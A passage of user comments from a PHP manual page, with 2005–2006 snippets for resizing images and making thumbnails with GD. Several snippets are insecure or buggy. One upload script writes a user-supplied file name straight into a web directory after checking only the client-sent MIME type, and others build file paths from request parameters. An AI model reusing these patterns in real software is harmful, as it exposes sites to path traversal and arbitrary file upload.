     *         [0] type => (POST | FILE) => Source File Send Type _FILES OR Dir
     *         [1] file => ({if POST Array file = $_FILES['yourfile']}|{if FILE false}) => Source File filesource
     *         [2] path => ({if FILE String [ dirname/filename.extension ]}) => Source File Root Path
     *         [3] target => ({if FILE String [ dirname/filename.extension ]}) => Target File Root Path
     *         [4] width => (integer) => Target File Width
     *         [5] height => (integer) => Target File Height
     *         [6] quality => (integer 1 - 100) => Target File Quality 0-100 %
     *         [7] action => (crop | resize) => Target Action "resize" OR "crop"
     *         [8] bordersize => (integer 0-5) => Target Border Size
     *         [9] bordercolor => (color hex) => Target Border Color
     *         [10] bgcolor => (color hex) => Target Background Color
     *         [11] copytext => (String) => Copyright Content Text
     *         [12] copycolor => (color hex) => Copyright Text Color
     *         [13] copyshadow => (color hex) => Copyright Text Shadow color
     *         [14] copybgcolor => (color hex) => Copyright Background Color
     *         [15] copybgshadow => (color hex) => Copyright Background Shadow Color
     *         [16] copybordersize => (integer 0-5) => Copyright Border Size 1-3
     *         [17] copybordercolor => (color hex) => Copyright Border Color
     *      [18] copyposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Copyright Position
     *         [19] logoposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Logo Image Position
     *         [20] logoimage => (String [ dirname/filename.extension] Allow Extension (PNG | GIF | JPG)) => Logo Image Root Path "PNG" OR "GIF" OR "JPG"
     *
     *
     *
     *
     */

<?php

$source = ($_REQUEST['img'] != '')?$_REQUEST['img']:'braille3.jpg';
    $arg =array(     type =>'FILE',
                    file =>false,
                     path =>$source,
                     target =>'',
                     width =>150,
                     height =>50,
                     quality =>80,
                     action =>'resize',
                     bordersize =>1,
                     bordercolor =>'#00CCFF',
                     bgcolor =>'#000000',
                     copytext =>'Bodrum 1998',
                     copycolor =>'#FFFFFF',
                     //copyshadow =>'#000000',
                     //copybgcolor =>'#D0FFCC',
                     //copybgshadow =>'#656565',
                     copybordersize =>0,
                     copybordercolor =>'#FFFFFF',
                     copyposition =>'bottom',
                     logoposition =>'topleft',
                     logoimage =>'logo.png');

    //$arg = "$source,,400,300,80,resize";
    new pg_image($arg);

?>
feip at feip dot net 15-Nov-2006 01:23
This code convert images to thumbs.
How he work -
Check source image - Width and Height,
crop a maximum from original image,
resize croped to user defined size

// makeIcons_MergeCenter($src, $dst, $dstx, $dsty);

<?php

function makeIcons_MergeCenter($src, $dst, $dstx, $dsty){

//$src = original image location
//$dst = destination image location
//$dstx = user defined width of image
//$dsty = user defined height of image

$allowedExtensions = 'jpg jpeg gif png';

$name = explode(".", $src);
$currentExtensions = $name[count($name)-1];
$extensions = explode(" ", $allowedExtensions);

for($i=0; count($extensions)>$i; $i=$i+1){
if($extensions[$i]==$currentExtensions)
{ $extensionOK=1;
$fileExtension=$extensions[$i];
break; }
}

if($extensionOK){

$size = getImageSize($src);
$width = $size[0];
$height = $size[1];

if($width >= $dstx AND $height >= $dsty){

$proportion_X = $width / $dstx;
$proportion_Y = $height / $dsty;

if($proportion_X > $proportion_Y ){
$proportion = $proportion_Y;
}else{
$proportion = $proportion_X ;
}
$target['width'] = $dstx * $proportion;
$target['height'] = $dsty * $proportion;

$original['diagonal_center'] =
round(sqrt(($width*$width)+($height*$height))/2);
$target['diagonal_center'] =
round(sqrt(($target['width']*$target['width'])+
($target['height']*$target['height']))/2);

$crop = round($original['diagonal_center'] - $target['diagonal_center']);

if($proportion_X < $proportion_Y ){
$target['x'] = 0;
$target['y'] = round((($height/2)*$crop)/$target['diagonal_center']);
}else{
$target['x'] =  round((($width/2)*$crop)/$target['diagonal_center']);
$target['y'] = 0;
}

if($fileExtension == "jpg" OR $fileExtension=='jpeg'){
$from = ImageCreateFromJpeg($src);
}elseif ($fileExtension == "gif"){
$from = ImageCreateFromGIF($src);
}elseif ($fileExtension == 'png'){
 $from = imageCreateFromPNG($src);
}

$new = ImageCreateTrueColor ($dstx,$dsty);

imagecopyresampled ($new,  $from,  0, 0, $target['x'],
$target['y'], $dstx, $dsty, $target['width'], $target['height']);

 if($fileExtension == "jpg" OR $fileExtension == 'jpeg'){
imagejpeg($new, $dst, 70);
}elseif ($fileExtension == "gif"){
imagegif($new, $dst);
}elseif ($fileExtension == 'png'){
imagepng($new, $dst);
}
}
}
}

?>
kyle dot florence at gmail dot com 16-Sep-2006 03:38
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.  This function will not resize the image to max_w pixels by max_h pixels, those are only the max width's and heights the image can be, it resizes the image to the first 1:1 ratio below max_w and max_h.

For example, if you have an image that is 800x600 and you specify your new image to be 400x200, it will resize based on the smallest number (in this case 200) and maintain the images 1:1 ratio.  So your final image would end up at something like 262x200.

UPDATE:  I have updated this function, I added the 'newdir' option in case you want the images saved in a different directory than the script.  I also fixed the thumbnail slice so it is perfectly in the center now and fixed the bug that 'ob at babcom dot biz' mentioned so you can safely resize based on width or height now.

<?
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir    = directory image is stored in
 *    @newdir = directory new image will be stored in
 *    @img    = the image name
 *    @max_w  = the max width of the resized image
 *    @max_h  = the max height of the resized image
 *    @th_w   = the width of the thumbnail
 *    @th_h   = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $newdir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // set destination directory
    if (!$newdir) $newdir = $dir;

    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image?
        if ($or_w > $max_w || $or_h > $max_h) {

            // resize by height, then width (height dominant)
            if ($max_h < $max_w) {
                $rs_h = $max_h;
                $rs_w = $rs_h / $ratio;
            }
            // resize by width, then height (width dominant)
            else {
                $rs_w = $max_w;
                $rs_h = $ratio * $rs_w;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        }
        // image requires no resizing
        else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $newdir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 2) - ($th_w / 2));
        $new_h = (($rs_h / 2) - ($th_h / 2));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $newdir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, '', $img, 600, 400, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x400 or less (retains the 1:1 ratio of the image) and creates the file 'thumb_test.jpg' at 300x150.
nworld3d at yahoo dot com 24-Aug-2006 02:06
Belows is the code snipet that allows you to resize a transparent PNG and composite it into another image.  The code is tested to work with PHP5.1.2, GD2, but I think it can also work with other versions of PHP and GD.

The code has been commented to help you read through it.  The idea of resizing the transparent PNG image is to create a new destination image which is completely transparent then turn off the imageAlphaBlending of this new image so that when the PNG source file is copied, its alpha channel is still retained.

<?php
/**
 * Compose a PNG file over a src file.
 * If new width/ height are defined, then resize the PNG (and keep all the transparency info)
 * Author:  Alex Le - http://www.alexle.net
 */
function imageComposeAlpha( &$src, &$ovr, $ovr_x, $ovr_y, $ovr_w = false, $ovr_h = false)
{
    if( $ovr_w && $ovr_h )
        $ovr = imageResizeAlpha( $ovr, $ovr_w, $ovr_h );

    /* Noew compose the 2 images */
    imagecopy($src, $ovr, $ovr_x, $ovr_y, 0, 0, imagesx($ovr), imagesy($ovr) );
}

/**
 * Resize a PNG file with transparency to given dimensions
 * and still retain the alpha channel information
 * Author:  Alex Le - http://www.alexle.net
 */
function imageResizeAlpha(&$src, $w, $h)
{
        /* create a new image with the new width and height */
        $temp = imagecreatetruecolor($w, $h);

        /* making the new image transparent */
        $background = imagecolorallocate($temp, 0, 0, 0);
        ImageColorTransparent($temp, $background); // make the new temp image all transparent
        imagealphablending($temp, false); // turn off the alpha blending to keep the alpha channel

        /* Resize the PNG file */
        /* use imagecopyresized to gain some performance but loose some quality */
        imagecopyresized($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        /* use imagecopyresampled if you concern more about the quality */
        //imagecopyresampled($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        return $temp;
}
?>
Example usage:

<?php
header('Content-type: image/png');

/* Open the photo and the overlay image */
$photoImage = ImageCreateFromJPEG('images/MiuMiu.jpg');
$overlay = ImageCreateFromPNG('images/hair-trans.png');

$percent = 0.8;
$newW = ceil(imagesx($overlay) * $percent);
$newH = ceil(imagesy($overlay) * $percent);

/* Compose the overlay photo over the target image */
imageComposeAlpha( $photoImage, $overlay, 86, 15, $newW, $newH );

/* Open another PNG file, then resize and compose it */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 10, 20, imagesx($watermark)/2, imagesy($watermark)/2 );

/**
 * Open the same PNG file then compose without resizing
 * As the original $watermark is passed by reference, it was resized already.
 * So we have to reopen it.
 */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 80, 350);
Imagepng($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($overlay);
ImageDestroy($watermark);
?>
ob at babcom dot biz 21-Aug-2006 01:32
Regarding the note and function of kyle.florence on August 3rd 2006:

I tried to use his function resizejpeg() for resizing images in my gallery. As far as I can tell it contains a small bug.

Resizing worked fine as long as I had the same maximum width and maximum height specified. Wanting all thumbnails to have the same height - so my images would appear in a straight line on my website both in portrait format and in landscape format - I soon encountered the problem that resizing with different values of maximum width and maximum height would not work proberly.

If you are using the script change the following 2 lines where the resized width and the resized height are calculated:

<?php
$rs_h = $ratio * $max_h;
?>
should be:
<?php
$rs_h = $ratio * $rs_w;
?>

and:
<?php
$rs_w = $max_w / $ratio;
?>
should be:
<?php
$rs_w = $rs_h / $ratio;
?>

The following function is based on Kyle Florence's function. I left out the thumbnail-part and rather added the possibiliy of defining a new dir and new filename for the image. If you need to resize and then create a thumbnail just run the function twice. Here, the thumbnail will contain the full picture and not a cutout of the original image.

The function supports JPG, GIF and PNG resizing. The quality in case of JPG is given to the function as the last parameter $Quality.

The variable names should speak for their usage.

<?php
function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality) {
  list($ImageWidth,$ImageHeight,$TypeCode)=getimagesize($Dir.$Image);
  $ImageType=($TypeCode==1?"gif":($TypeCode==2?"jpeg":
             ($TypeCode==3?"png":FALSE)));
  $CreateFunction="imagecreatefrom".$ImageType;
  $OutputFunction="image".$ImageType;
  if ($ImageType) {
    $Ratio=($ImageHeight/$ImageWidth);
    $ImageSource=$CreateFunction($Dir.$Image);
    if ($ImageWidth > $MaxWidth || $ImageHeight > $MaxHeight) {
      if ($ImageWidth > $MaxWidth) {
         $ResizedWidth=$MaxWidth;
         $ResizedHeight=$ResizedWidth*$Ratio;
      }
      else {
        $ResizedWidth=$ImageWidth;
        $ResizedHeight=$ImageHeight;
      }
      if ($ResizedHeight > $MaxHeight) {
        $ResizedHeight=$MaxHeight;
        $ResizedWidth=$ResizedHeight/$Ratio;
      }
      $ResizedImage=imagecreatetruecolor($ResizedWidth,$ResizedHeight);
      imagecopyresampled($ResizedImage,$ImageSource,0,0,0,0,$ResizedWidth,
                         $ResizedHeight,$ImageWidth,$ImageHeight);
    }
    else {
      $ResizedWidth=$ImageWidth;
      $ResizedHeight=$ImageHeight;
      $ResizedImage=$ImageSource;
    }
    $OutputFunction($ResizedImage,$NewDir.$NewImage,$Quality);
    return true;
  }
  else
    return false;
}
?>

Before calling the function support for JPG, PNG or GIF should be checked.
hodgman at ali dot com dot au 09-Aug-2006 01:37
Users of this function should be aware that this function can return false in certain circumstances! I am assuming this is an indicator of failure.

None of the example code displayed in these notes takes this into account, so all of these examples contain weaknesses that could crash a program if not used with care.

However, it is not documented what kinds situations will cause it to fail, and what side effects (if it is not atomic) occur if the operation fails, so we will have to wait for the documentation to be updated before this function can be used in rock-solid (crash-proof) code.

[[I posted this information earlier, but I phrased it as a question so it was removed by the editors]]
kyle(dot)florence(_[at]_)gmail(dot)com 04-Aug-2006 03:43
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.

<?php
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir   = directory image is stored in
 *    @img   = the image name
 *    @max_w = the max width of the resized image
 *    @max_h = the max height of the resized image
 *    @th_w  = the width of the thumbnail
 *    @th_h  = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image
        if ($or_w > $max_w || $or_h > $max_h) {

            // first resize by width (less than $max_w)
            if ($or_w > $max_w) {
                $rs_w = $max_w;
                $rs_h = $ratio * $max_h;
            } else {
                $rs_w = $or_w;
                $rs_h = $or_h;
            }

            // then resize by height (less than $max_h)
            if ($rs_h > $max_h) {
                $rs_w = $max_w / $ratio;
                $rs_h = $max_h;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        } else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $dir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 4));
        $new_h = (($rs_h / 4));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $dir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, $img, 600, 600, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x600 or less (1:1 ratio) and create the file 'thumb_test.jpg' at 300x150.
06madsenl at westseneca dot wnyric dot org 21-Apr-2006 03:05
I was fiddling with this a few days trying to figure out how to resize the original images on my website, but this site:

http://www.sitepoint.com/article/image-resizing-php

Has a great tutorial on using PHP to resize images without creating thumbnails.  It was exactly what I was looking to do.
konteineris at yahoo dot com 16-Feb-2006 03:42
Function creates a thumbnail from the source image, resizes it so that it fits the desired thumb width and height or fills it grabbing maximum image part and resizing it, and lastly writes it to destination

<?

function thumb($filename, $destination, $th_width, $th_height, $forcefill)
{
   list($width, $height) = getimagesize($filename);

   $source = imagecreatefromjpeg($filename);

   if($width > $th_width || $height > $th_height){
      $a = $th_width/$th_height;
      $b = $width/$height;

      if(($a > $b)^$forcefill)
      {
         $src_rect_width  = $a * $height;
         $src_rect_height = $height;
         if(!$forcefill)
         {
            $src_rect_width = $width;
            $th_width = $th_height/$height*$width;
         }
      }
      else
      {
         $src_rect_height = $width/$a;
         $src_rect_width  = $width;
         if(!$forcefill)
         {
            $src_rect_height = $height;
            $th_height = $th_width/$width*$height;
         }
      }

      $src_rect_xoffset = ($width - $src_rect_width)/2*intval($forcefill);
      $src_rect_yoffset = ($height - $src_rect_height)/2*intval($forcefill);

      $thumb  = imagecreatetruecolor($th_width, $th_height);
      imagecopyresized($thumb, $source, 0, 0, $src_rect_xoffset, $src_rect_yoffset, $th_width, $th_height, $src_rect_width, $src_rect_height);

      imagejpeg($thumb,$destination);
   }
}

?>
jesse at method studios 04-Oct-2005 09:07
imagecopyresized() does not do any resampling.  This makes it extremely quick.  If quality is an issue, use imagecopyresampled().
MaLaZ 12-Aug-2005 04:24
simple script for creating thumbnails with process information and saving original ratio thumbnail to new destination...good then useing with upload or uploaded images:

<?php

//Upload------------------------------------
if(isset( $submit ))
{
if ($_FILES['imagefile']['type'] == "image/jpeg"){
    copy ($_FILES['imagefile']['tmp_name'], "../images/".$_FILES['imagefile']['name'])
    or die ("Could not copy");
        echo "";
        echo "Image Name: ".$_FILES['imagefile']['name']."";
        echo "<br>Image Size: ".$_FILES['imagefile']['size']."";
        echo "<br>Image Type: ".$_FILES['imagefile']['type']."";
        echo "<br>Image Copy Done....<br>";
        }
         else {
            echo "<br><br>";
            echo "bad file type (".$_FILES['imagefile']['name'].")<br>";exit;
              }
//-----upload end

//------start thumbnailer

    $thumbsize=120;
    echo "Thumbnail Info: <br>
         1.Thumb defined size: - OK: $thumbsize<br>";
    $imgfile = "../images/$imagefile_name";//processed image
    echo "
         2.Image destination: - OK: $imgfile<br>";
    header('Content-type: image/jpeg');
    list($width, $height) = getimagesize($imgfile);
    echo "3.Image size - OK: W=$width x H=$height<br>";
    $imgratio=$width/$height;
    echo "3.Image ratio - OK: $imgratio<br>";
    if ($imgratio>1){
      $newwidth = $thumbsize;
      $newheight = $thumbsize/$imgratio;}
    else{
      $newheight = $thumbsize;
      $newwidth = $thumbsize*$imgratio;}
    echo "4.Thumb new size -OK: W=$newwidth x H=$newheight<br>";
    $thumb = ImageCreateTrueColor($newwidth,$newheight);
    echo "5.TrueColor - OK<br>";
    $source = imagecreatefromjpeg($imgfile);
    echo "6.From JPG - OK<br>";
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);echo "7.Done... - OK<br>";
//-----------end--------------
?>

or without any info, just resizing:

<?php
//------start thumbnailer
   $thumbsize=120;
   $imgfile = "../images/$imagefile_name";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   $imgratio=$width/$height;
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   $source = imagecreatefromjpeg($imgfile);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);
//-----------end--------------
?>

i hope it helps.
FearINC at gmail dot com 10-Aug-2005 07:35
I wrote a function not long ago that creates a thumbnail out of a large picture. Unlike other notes on this page, the code is a function so it can be used many times on the same script. The function allows the programer to set max height and width and resizes the picture proportionally.
<?php
function saveThumbnail($saveToDir, $imagePath, $imageName, $max_x, $max_y) {
    preg_match("'^(.*)\.(gif|jpe?g|png)$'i", $imageName, $ext);
    switch (strtolower($ext[2])) {
        case 'jpg' :
        case 'jpeg': $im   = imagecreatefromjpeg ($imagePath);
                     break;
        case 'gif' : $im   = imagecreatefromgif  ($imagePath);
                     break;
        case 'png' : $im   = imagecreatefrompng  ($imagePath);
                     break;
        default    : $stop = true;
                     break;
    }

    if (!isset($stop)) {
        $x = imagesx($im);
        $y = imagesy($im);

        if (($max_x/$max_y) < ($x/$y)) {
            $save = imagecreatetruecolor($x/($x/$max_x), $y/($x/$max_x));
        }
        else {
            $save = imagecreatetruecolor($x/($y/$max_y), $y/($y/$max_y));
        }
        imagecopyresized($save, $im, 0, 0, 0, 0, imagesx($save), imagesy($save), $x, $y);

        imagegif($save, "{$saveToDir}{$ext[1]}.gif");
        imagedestroy($im);
        imagedestroy($save);
    }
}
?>

the function for now takes only jpg,gif and png files, but that can easily be changed.
It's an easy to use easy to understand function and I hope it will come useful to someone.
mecdesign at hotmail dot com 07-Aug-2005 11:51
This code will resize your images if your image needs to fit (without stretching) into a max height / width destination image that is not a 1:1 ratio (mine was 4:3).

<?
   // Ratios
   $image_ratio = $width / $height; // Actual image's ratio
   $destination_ratio = $max_width / $max_height; // Ratio of dest. placeholder

    // Taller
    if($image_ratio < $destination_ratio)
    {
        //Too tall:
        if($height > $max_height)
        {
            $height = $max_height;
            $width = ceil($height / $image_ratio);
        }
    }
    // Wider / balanced & too wide:
    else if ($width > $max_width)
    {
        $width = $max_width;
        $height = ceil($width / $image_ratio);
    }
?>
brian <dot> tyler <at> gmail <dot> com 12-Jun-2005 12:53
I spent last night getting unsuccessful results from this function until I found this note of fluffle <<at>> gmail on the imagecopyresampled page, I have made a slight modification, so you can just cut and paste.

Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

function ($image_filename, $thumb_location, $image_thumb_size){
//@$image_filename - the filename of the image you want
//to get a thumbnail for (relative to location of this
//function).
//@$thumb_location - the url (relative to location of this
//function) to save the thumbnail.
//@$image_thumb_size - the x-y dimension of your thumb
//in pixels.

   list($ow, $oh) = getimagesize($image_filename);
   $image_original = imagecreatefromjpeg($image_filename);
   $image_thumb = imagecreatetruecolor($image_thumb_size,$image_thumb_size);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($image_thumb, $image_original, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);

imagejpeg($image_thumb, $thumb_location);
}//end function
no at name dot com 18-May-2005 01:45
I was searching for script, that do not resize on the fly, but copy resized file to other place, so after long searches, i've done this function. I hope it will be usefull for someone:
(This is not original code, i'v taked it from somwhere and edited a ltl :)
<?php
function resize($cur_dir, $cur_file, $newwidth, $output_dir)
{
    $dir_name = $cur_dir;
    $olddir = getcwd();
    $dir = opendir($dir_name);
    $filename = $cur_file;
    $format='';
    if(preg_match("/.jpg/i", "$filename"))
    {
        $format = 'image/jpeg';
    }
    if (preg_match("/.gif/i", "$filename"))
    {
        $format = 'image/gif';
    }
    if(preg_match("/.png/i", "$filename"))
    {
        $format = 'image/png';
    }
    if($format!='')
    {
        list($width, $height) = getimagesize($filename);
        $newheight=$height*$newwidth/$width;
        switch($format)
        {
            case 'image/jpeg':
            $source = imagecreatefromjpeg($filename);
            break;
            case 'image/gif';
            $source = imagecreatefromgif($filename);
            break;
            case 'image/png':
            $source = imagecreatefrompng($filename);
            break;
        }
        $thumb = imagecreatetruecolor($newwidth,$newheight);
        imagealphablending($thumb, false);
        $source = @imagecreatefromjpeg("$filename");
        imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
        $filename="$output_dir/$filename";
        @imagejpeg($thumb, $filename);
    }
}
?>
call this function using
<?
resize("./input folder", "picture_file_name", "width", "./output folder");
?>
del at kartoon dot net 05-May-2005 10:37
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
development at lab-9 dot com 26-Apr-2005 12:35
If you read your Imagedata from a Database Blob and use the functions from above to resize the image to a thumbnail improving a lot of traffic, you will have to make temporary copies of the files in order that the functions can access them

Here a example:

// switch through imagetypes
$extension = "jpg";
if(mysql_result($query, 0, 'type') == "image/pjpeg")
{ $extension = "jpg"; } // overwrite
else if(mysql_result($query, 0, 'type') == "image/gif")
{ $extension = "gif"; } // overwrite

// get a temporary filename
// use microtime() to get a unique filename
// if you request more than one file f.e. by creating large numbers of thumbnails, the server could be not fast enough to save all these different files and you get duplicated copies and resizepics() will resize and output often the same content

$filename = microtime()."_temp.".$extension;

// open
$tempfile = fopen($filename, "w+");

// write
fwrite($tempfile, mysql_result($query, 0, 'image'));

// close
fclose($tempfile);

// resize and output the content
echo resizepics($filename, '100', '70');

// delete temporary file
unlink($filename);

NOTE: this script has to be put into a file which sends correct header informations to the browser, otherwise you won't get more to see than a big red cross :-)
robby at planetargon dot com 28-Feb-2005 04:56
Most of the examples below don't keep the proportions properly. They keep using if/else for the height/width..and forgetting that you might have a max height AND a max width, not one or the other.

/**
* Resize an image and keep the proportions
* @author Allison Beckwith <allison@planetargon.com>
* @param string $filename
* @param integer $max_width
* @param integer $max_height
* @return image
*/
function resizeImage($filename, $max_width, $max_height)
{
    list($orig_width, $orig_height) = getimagesize($filename);

    $width = $orig_width;
    $height = $orig_height;

    # taller
    if ($height > $max_height) {
        $width = ($max_height / $height) * $width;
        $height = $max_height;
    }

    # wider
    if ($width > $max_width) {
        $height = ($max_width / $width) * $height;
        $width = $max_width;
    }

    $image_p = imagecreatetruecolor($width, $height);

    $image = imagecreatefromjpeg($filename);

    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                                     $width, $height, $orig_width, $orig_height);

    return $image_p;
}
haker4o at haker4o dot org 27-Feb-2005 05:57
<?php
//                      Resize image.
//             Writeen By: Smelban & Haker4o
// Mails smelban@smwebdesigns.com & Haker4o@Haker4o.org
// This code is written to only execute on  jpg,gif,png
// $picname = resizepics('pics', 'new widthmax', 'new heightmax');
// Demo  $picname = resizepics('stihche.jpg', '180', '140');
$picname = resizepics('picture-name.format', '180', '140');
echo $pickname;
//Error
die( "<font color=\"#FF0066\"><center><b>File not exists :(<b></center></FONT>");
//Funcion resizepics
function resizepics($pics, $newwidth, $newheight){
     if(preg_match("/.jpg/i", "$pics")){
           header('Content-type: image/jpeg');
     }
     if (preg_match("/.gif/i", "$pics")){
           header('Content-type: image/gif');
     }
     list($width, $height) = getimagesize($pics);
     if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
     } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
     } else {
       $newwidth = $width;
       $newheight = $height;
    }
    if(preg_match("/.jpg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = Imagecreatefromjpeg($pics);
    }
    if(preg_match("/.png/i", "$pics")){
    $source = imagecreatefrompng($pics);
    }
    if(preg_match("/.gif/i", "$pics")){
    $source = imagecreatefromgif($pics);
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
    if(preg_match("/.jpg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.png/i", "$pics")){
    return imagepng($thumb);
    }
    if(preg_match("/.gif/i", "$pics")){
    return imagegif($thumb);
    }
 }
?>
smelban at smwebdesigns dot com 15-Feb-2005 05:37
Resize image proportionaly where you give a max width or max height

<?php
header('Content-type: image/jpeg');
//$myimage = resizeImage('filename', 'newwidthmax', 'newheightmax');
$myimage = resizeImage('test.jpg', '150', '120');
print $myimage;

function resizeImage($filename, $newwidth, $newheight){
    list($width, $height) = getimagesize($filename);
    if($width > $height && $newheight < $height){
        $newheight = $height / ($width / $newwidth);
    } else if ($width < $height && $newwidth < $width) {
        $newwidth = $width / ($height / $newheight);
    } else {
        $newwidth = $width;
        $newheight = $height;
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    $source = imagecreatefromjpeg($filename);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
}
?>
finnsi at centrum dot is 13-Feb-2005 02:30
If you need to delete or resize images in the filesystem (not in DB) without loosing the image quality...
I commented the code as much as possible so that newbies (like myself) will understand it.  ;)

<?php

    /*

    WRITTEN BY:
    Finnur Eiriksson, (http://www.centrum.is/finnsi)
    Based on snippets that have been posted on www.PHP.net
    Drop me an e-mail if you have any questions.

    NOTE:
    This code is written to either delete or resize pictures in the file system, so if you have your pictures in a database
    you will have to make some changes. Also, if you are using other picture formats than .gif's or .jpg's you
    will have to add som code as well (Read the comments to find out where to do this).

    IMPORTANT:
    The $_GET['resizepic'] variable only contains the NAME of the file that is going to be deleted/resized.

    The internet guest account (IUSR_SERVERNAME on WINDOWS) must have read and write permissions (execution permission not needed)
